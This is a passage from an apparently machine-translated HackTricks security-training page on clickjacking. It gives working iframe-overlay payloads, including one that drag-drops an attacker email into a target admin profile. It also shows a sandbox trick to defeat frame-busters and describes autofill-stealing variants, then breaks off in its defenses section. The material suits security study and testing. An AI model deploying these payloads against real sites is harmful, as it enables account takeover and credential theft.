Clickjacking

Reading time: 13 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Clickjacking とは

In a clickjacking attack, a ユーザー は、ウェブページ上の 不可視 または別の要素に見せかけられた 要素クリック するように 騙されます。この操作により、マルウェアのダウンロード、悪意あるウェブページへのリダイレクト、認証情報や機密情報の提供、金銭の送金、製品のオンライン購入など、ユーザーにとって意図しない結果を招く可能性があります。

フォーム事前入力トリック

Sometimes is possible to fill the value of fields of a form using GET parameters when loading a page。攻撃者はこの挙動を悪用して任意のデータでフォームを埋め、clickjacking ペイロードを送りユーザーに Submit ボタンを押させることができます。

Drag&Drop でフォームを埋める

If you need the user to fill a form しかし特定の情報(例えばメールアドレスや既知の特定のパスワード)を直接入力させたくない場合、ユーザーに何かを Drag&Drop させるだけで、制御されたデータを書き込ませることができます。例は this example を参照してください。

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

マルチステップ payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

もし、ユーザーのクリックが必要なXSS attackを特定し、かつそのページがvulnerable to clickjackingであれば、ユーザーを騙してボタン/リンクをクリックさせるためにそれを悪用できます。
例:
アカウントのプライベートな詳細(only you can set and readな情報)にself XSSを発見しました。これらの詳細を設定するformのあるページがvulnerableClickjackingの対象で、GET parametersでformprepopulateできます。
攻撃者はそのページに対して、XSS payloadformprepopulateし、userを騙してSubmitさせるようなClickjacking攻撃を用意できます。したがって、formがSubmitされて値が変更されると、userがXSSを実行してしまいます。

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

warning

This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.

ブラウザ拡張機能: DOM-based autofill clickjacking

被害者ページをiframeで読み込む方法とは別に、攻撃者はページに注入されるブラウザ拡張のUI要素をターゲットにできます。Password managersは、フォーカスされたinputsの近くにautofillのdropdownsを表示します。攻撃者が制御するフィールドにフォーカスさせ、拡張のdropdownを隠す/覆う(opacity/overlay/top-layerのトリック)ことで、強制されたユーザークリックにより保存された項目が選択され、機密データが攻撃者制御のinputsに入力されます。この変種はiframeの露出を必要とせず、完全にDOM/CSSの操作で機能します。

  • 具体的なテクニックとPoCsについては次を参照:

BrowExt - ClickJacking

Strategies to Mitigate Clickjacking

クライアント側の防御

クライアント側で実行されるスクリプトはClickjackingを防ぐために以下のような対策を行えます:

  • アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
  • すべてのframesを可視化する。
  • 不可視のframesへのクリックを防ぐ。
  • クリックジャッキングの可能性を検出してユーザーに警告する。

しかし、これらのframe-bustingスクリプトは回避される可能性があります:

  • Browsers' Security Settings: 一部のブラウザはセキュリティ設定やJavaScriptサポートの欠如によりこれらのスクリプトをブロックする可能性があります。
  • HTML5 iframe sandbox Attribute: 攻撃者はsandbox属性にallow-formsやallow-scriptsを設定し、allow-top-navigationを付けないことでframe busterスクリプトを無効化できます。これによりiframeは自分がトップウィンドウかどうかを検証できなくなります。例:
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms と allow-scripts の値は iframe 内でのアクションを有効にしつつ、トップレベルのナビゲーションを無効化します。ターゲットサイトの意図した機能を維持するためには、攻撃の種類に応じて allow-same-origin や allow-modals のような追加の権限が必要になることがあります。どの権限を許可すべきかは、ブラウザのコンソールメッセージが指示してくれることがあります。

Server-Side Defenses

X-Frame-Options

The X-Frame-Options HTTP response header は、ブラウザに対してページを や